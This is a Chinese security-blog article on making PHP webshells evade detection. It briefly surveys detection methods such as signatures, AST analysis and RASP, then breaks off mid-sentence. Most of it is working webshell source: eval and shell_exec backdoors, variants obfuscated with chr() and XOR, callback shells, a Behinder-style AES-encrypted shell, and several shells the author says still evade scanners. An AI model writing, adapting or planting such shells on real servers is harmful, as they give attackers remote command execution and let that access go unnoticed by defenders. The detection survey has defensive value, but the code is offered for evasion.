freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Webshell免杀的一些思考
2020-11-01 19:38:08

最近看了很多关于webshell的文章,真的是觉得受益匪浅。于是产生想写一篇属于自己文章的想法,本文很多地方加入了自己的思考,并且干货满满。希望大家可以关注我的专栏。

既然我们要研究一下子webshell免杀。

首先应该思考的问题是检测引擎是如何查杀我们的webshell。

webshell是如何被检测出来的?

正所谓,知己知彼百战百胜。要想写一个免杀的webshell出来,你就必须知道你的webshell是如何被查杀掉的?

基于流量和字符特征的检测

既然是字符特征,首先就是对于一些危险函数的检测

system : system()函数将命令作为参数,并输出结果。

exec : exec()功能是将命令作为参数,但不输出结果。如果指定了第二个可选参数,则返回结果为数组。否则,如果回显,只显示结果的最后一行。

shell_exec : shell_exec()函数类似于exec(),但是,其整个输出结果为字符串。

passthru : passthru()执行一个命令并返回原始格式的输出。

proc_open : proc_open()函数可能很难理解。简单地说,我们可以使用proc_open(),创建一个处理程序(流程),实现脚本和要运行的程序之间的通信。

倒引号 : 很多PHP开发人员并没有意识到这一点,但是PHP会首先执行shell命令中倒引号(`)内的内容。请注意,倒引号(`)和单引号(’)不同。

popen ,curl_exec,curl_multi_exec,parse_ini_file,show_source等。

在返回包中检测特殊字符

root或者是其他一些敏感字符串passwd等等

基于文件特征

主要基于HASH的匹配,取决于样本的捕捉能力及形成特征列表的数量,还是会出现漏报问题。

这里会对上传上来的文件进行分片处理,之后会对每一个片段进行hash计算,在得到所有片段的hash值后会和之前有的特征列表库进行对比。如果符合某个相似度的要求就认为该文件为webshell。

基于AST语义分析

为了弥补统计特征的不足,进一步深化,进行语法检测,关注于每个函数和参数,这种方式精确,误报较少。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。

其实这一部分有点类似于代码审计,核心问题就是找到那些可疑的函数。有经验的安全人员可能脑海里就有一个表,这个表里放满了各种函数,有点类似于黑名单。在找到函数调用的代码时,如果发现函数名在黑名单中,就认为这是一个“敏感”函数,再执行后续判断;如果函数名不在黑名单中,那么后续的判断也就不用继续了。但是这个名单必须得大而全,而且得考虑很多特殊情况。

动/静态符号执行

实际是就是去发现没有过滤或者过滤不完全的可控变量,一但存在用户可以控制的代码逻辑,那么危险系数就很高了。

机器学习

这个需要大量的webshell样本训练,目前来看效果可能还是不太好。而有些算法可解释性比较差,不利于运营。而且存在大量误报的可能。

终极检测引擎Rasp

在2014年的时候,Gartner引入了“Runtime application self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。

RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。

这里我对以上几种方法总结为四个点:

1.分析统计内容:这里我们可以结合黑名单或者其他特征列表,例如代码片段的hash特征列表。之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。

2.语义分析:这里我们把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。代码审计常常会使用这种方法。

3.机器学习:这种方法需要大量的样本数据,通过一些学习模型,总结归类webshell的特征库,最终去检测webshell。

4.动态监控:采用RASP方式,这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本也十分的高昂。

如何写一个免杀的webshell?

webshell的演变史

初代webshell

<?php echo shell_exec($_GET['cmd']);?>
<?php @eval($_POST['xssle']);?>

这种webshell基本是属于被秒杀的存在,可能你还没上传呢,自己就嘀咕了,这种肯定不行吧,还是算了不测这个了。

一代webshell

既然上边的webshell被检测到了,那我们变换一下形势可以,对关键函数进行拼接,旋转,加密解密的手法进行隐藏。

<?php 
$a = 'ev'."al";
@$a($_POST['xssle']);
?>
<?php 
$a = 'ass'.$_GET[i];
@$a($_POST['xssle']);
?>
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_(); 
?>
<?php
    $a=md5('a').'<br>';
    $poc=substr($a,14,1).chr(115).chr(115).substr($a,22,1).chr(114).chr(116);
    $poc($_GET['a']);
?>

二代webshell

回调型webshell,这种webshell看上去像是没有什么危害的但是如果用户输入assert的话,就构成了webshell。

<?php
usort($_POST[1], $_POST[xssle]);
?>

冰蝎webshell

冰蝎的webshell的设置了加密秘钥,并且对shell的通信内容也进行了加密,关于冰蝎的加密流量其实我之前的文章中是有分析过的。

<?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>

webshell-venom

该类webshell主要是利用了异或操作,不过现在该webshell已经被d盾收录进去了。

<?php 
class  TIPD{ 
function AJZN(){
$upf='Q'^"\x30";
$imp='R'^"\x21";
$rec='u'^"\x6";
$yba='/'^"\x4a";
$ebi=':'^"\x48";
$pvu='D'^"\x30";
$VDMX=$upf.$imp.$rec.$yba.$ebi.$pvu;
return $VDMX;}function __destruct(){
$UNOF=$this->AJZN();
@$UNOF($this->FJ);}}
$tipd=new TIPD();
@$tipd->FJ=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

那么重头戏来了

依然可以免杀的webshell

免杀shell1

该免杀shell利用类中的静态函数,还用到了变量替换,这个例子在文章后半部分会详细讲。

<?php
class Test{
public static function a(){        
    $a = base64_decode/*/\*/($_POST/*\*/['a']);
        return $a;
        }
}
$func = 'a';
$classname = 'Test';
$a =$classname::$func();
eval/*\/*/($a);
?>

免杀shell2

php在5.3版本的时候就已经开始支持对于类的命名空间了,对于函数的命名空间是在5.6版本引入的。

所以在5.6之后我们可以使用use function  a as b来导入函数a。在功能上就相当于给函数a起了一个别名。

注意:经过我的测试use function \assert as test;这种形式的别名在类中和函数中是不生效的。

<?php
use function \assert as test;
test($_POST[2333]);
?>

1603870351_5f991e8f0f4c63cc2124b.png!small?1603870351515

1603870215_5f991e078bd81b52d0fb1.png!small?1603870215913

免杀shell3

preg_replace的/e模式用来执行代码,想必大家已经很熟悉了。但是他的兄弟姐妹mb_ereg_replace、mb_eregi_replace大家可能不太熟悉,其实它两的用法和第一个基本一样,支持传入e模式的正则表达式,进而执行任意代码;php在7版本已经delete了preg_replace的/e模式。但是mb_ereg_replace在7.3以下版本依然可以使用。

1604043499_5f9bc2eb60288310cbd20.png!small?1604043499598

<?php
mbereg_replace('.*', '\0', $_REQUEST[2333], 'mer');
?>

结合免杀shell2

&l
# web安全 # webshell # webshell检测 # 免杀
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录